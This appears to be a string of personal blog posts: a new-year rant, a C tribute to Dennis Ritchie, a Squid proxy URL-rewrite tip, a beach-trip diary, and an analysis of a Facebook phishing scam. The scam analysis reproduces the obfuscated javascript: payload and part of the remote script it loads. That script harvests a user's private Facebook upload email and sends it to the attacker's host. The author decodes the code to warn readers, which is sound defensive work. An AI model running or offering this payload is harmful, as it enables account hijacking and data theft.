2010 was an awesome year for me. It brought me lot of happiness through every possible channel. Had a great year, great time with friends, learnt to drive, went on lovely drives, good experiences, encouraging things at work. And 2011 took everything away from me. But, yeah, it doesn’t look as bad as I say for an outsider. But, nevertheless 2011 sucked bad for me. I’m so glad that its over. So, wholeheartedly here I say 2011, GTFO

And 2012, please don’t be as bad as 2011.

/* RIP Dennis Ritchie, author of C, co-author of Unix. */

#include <stdio.h>

int main() {
  printf(“Goodbye World\n”);
  return 0;
}

We use squid as proxy in our lab, which means, I have complete control on what junta in my lab view. Squid has a very lovely mechanism called url_rewrite_program. I usually, use it to get some control over what junta do on the LAN during office hours (like limit facebook access only to lunch time and after office hours)  - You should probably read about Squid, and SquidGuard to know more about this.

SquidGuard is plain awesomeness. So, I decided to emulate its logic ie., replace the URLs which I want to block for certain users with the URL I want to be presented. So, all I need is a program which replaces the required Logo with the Image I specify.

This is the code that does exactly the same.

Add a +x to that file, Add it to your squid.conf as `url_rewrite_program /path/to/program` and reload your Squid. End result would be something like … this. That’s all folks.

One of my FB contacts had shared this link on their facebook Wall - http://174.120.6.98/~tchecks/next.php?id=12132. It claims to run some javascript code after logging to m.facebook.com to find out how much time you’ve spent on Facebook.

javascript: var _0xbdfc=[“\x73\x63\x72\x69\x70\x74”,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74”,”\x73\x72\x63”,”\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x34\x2e\x31\x32\x30\x2e\x36\x2e\x39\x38\x2f\x7e\x74\x63\x68\x65\x63\x6b\x73\x2f\x6d\x6f\x62\x69\x6c\x65\x2e\x6a\x73”,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64”,”\x62\x6F\x64\x79”];var script=document[_0xbdfc[1]](_0xbdfc[0]);script[_0xbdfc[2]]=_0xbdfc[3];document[_0xbdfc[5]][_0xbdfc[4]](script); void(0);

As usual, I never support anyone running any kind of JS on address bar. So, thought to dig through the JS code. Well, that array in human’s language is ..

[“script”, “createElement”, “src”, “http://174.120.6.98/~tchecks/mobile.js”, “appendChild”, “body”]

Now, one important function in that mobile.js page is

$.get(“http://m.facebook.com/upload.php”, function(data){
var mydata = data; var mobiles; var count = 0;
$($(mydata).find(‘a’).filter(‘:contains(“m.facebook.com”)’)).each(function(){if(($(this).text() != undefined)){ mobiles += $(this).text() +”;”;}});
var clean = mobiles.replace(“undefined”,”“);
var cut = clean.slice(0,clean.length - 1);
var insert = cut.replace(/;/g,”,”);
//Redirect to php inserter which redirects back to next set of steps.
top.location.href = ‘http://174.120.6.98/~tchecks/check.php?get=1&m=,’+insert;
});

This function gets the page m.facebook.com/upload.php, parses it, looks for all links with m.facebook.com in it, and grabs one email address, which as per Facebook is

• This is *your* personal address - don’t share it with anyone
• The email subject will be the photo caption if your email contains photos.
• The email subject will be your updated status if your email contains no photo.
• Save your upload email as a contact for easy access.

So, now the phisher has your private FB Mobile email address, through which he can upload pics or update your status.

Moral of the post: Don’t be dumb and run any javascript in your browser window if you don’t understand what it does. And, install NoScript for Firefox. Other browser users, find similar alternative or Get Firefox.

It was an awesome Saturday compared to pretty much any of my other Saturdays I had lately which consists of 10 hours of sleep, 10 hours of Internet and 4 hours of cribbing that I had wasted the whole Saturday doing nothing. This one turned out very well even though it was planned just 8 hours before it started at a restaurant while struggling to read name of a Thai Dish ‘Pad Pak Nam Prik Pao’ and Ganesh deciding that it would name of his first born and just before enjoying the awesome Fried Ice Cream that Arun praised all our way to the restaurant.

The day was supposed to start by 6 AM with office as rendezvous. Well, as the ‘light’ sleeper of the group, I decided that I need more than one alarm to wake me up and kept a series of alarms from 4.30 AM to 5.30 AM. I was supposed to be accompanied by Mr. & Mrs. Ganesh to the office from my place and the lovely couple decided to reach my home only by 6AM, while I tried to wakeup every one else. Around 6 calls failed to wakeup Deepak while Satya and Sathish were awake and waiting for my signal to start for office. Yeah, all of us were sure about everyone else that they will be late to reach office. I had informed Satya and Sathish that meeting time has been postponed by 30 minutes.

6.45 AM in the morning, all of us were at IITM office parking lot. All of us, minus Satya, Deepak and Harish. Satya assumed office as “his cubicle” when we were waiting for him at parking lot. Harish assumed office as a traffic signal next to his apartment, when we were waiting for him at parking lot. Deepak didn’t assume anything but realized that he has to hurry as he over slept and his phone cheated him by not making enough sound to wake him up.

7.45 AM in the morning, all of us reached Fishermen’s cove and signed that the hotel is not responsible for any accidents or deaths or shark attacks or jelly fish stings that might happen in the Ocean. Oh, by the way, Sathish has no clue what we were going to do other than the fact that its some where in the sea and it has to deal with water. Well, The Rain God decided to show his blessings by raining a lot at the same time, but he failed to realize that we cannot go for the ride if the waves are turbulent which is created by rain. So, we decided to go have breakfast first and wait for Rain God to realize his boo-boo. After the awesome break fast, few of us decided to enjoy the beauty of the rain and others decided to test their pool skills at the table.
   
        

Time Frame Lost, in the morning, finally, The RG realized his boo-boo and decided to stop showering us with his blessings, and let the Sun God wish us to have fun by letting him shine all the way. All of us suited ourselves in life jackets, got on to the catamaran (Tamil kattumaram) with a motor. Few hundred feet in the ocean, the kattumaram stopped and all of us jumped into the ocean to float like … PJ coming ahead … all those divs floated by Selva GK. And there was one div which was floating shadily like it was being rendered in IE, and Selva GK, if he tries to alert its name, it would alert with a loud beep as … “Sathish”. Yes, the realization, Sathish is scared of water like all of us, but, he is scared of water even with a life jacket on him. 44 minutes passed by with each of us trying to convince him to leave all the rope and come away from the boat, and he was convinced finally and decided to move 5 feet away from the boat. Ding, its 45 minutes and our floating time is over and we have to head back to shore.

We started walking back on the beach and something happened, and Satya got himself hurt when a bad wooden piece went under the nail of his foot’s big toe. He went to paramedic for making sure that it comes off, and rest of us decided to give hit volley ball across the net for a while. 30 minutes passed and Satya didn’t return back from the paramedic. Swathi went to office to settle the bill in her style and we got to know that there were more than 25 pieces of wood under his toe. After lot of struggle, the paramedic Mr. Sibin managed to pull all/most of the pieces of out, and we started for Mahabalipuram to have lunch and Deepak went back to the city to prepare for watching “Enthiran”.

After lunch, and the fight with restaurant over shady buffet, and another fun drive towards Pondicherry, we decided to return back to the city and Arun dropped Harish at his place. 6.30 PM, we decided to stop at office while returning, and after some chit chat, Arun playing guitar, Ganesh playing Boom Box ;) while we blame Sathish for it. Satya wanted to visit doc to ensure safety for this big toe while we decided to ensure safety for both our feet, by shopping for shoes. Sathish, Ganesh and I bought a pair each while Arun and Swathi gave valuable feedback ;) And its 9PM already, and we decided to have kulfi at Freez Zone. After telling bye to Arun at his home, Sathish started his lengthy ride back home at 9.45PM, and I started for my place along with Mr. and Mrs. Ganesh and they started for their place from mine.

And I went to my bed thinking … Wow, what a day.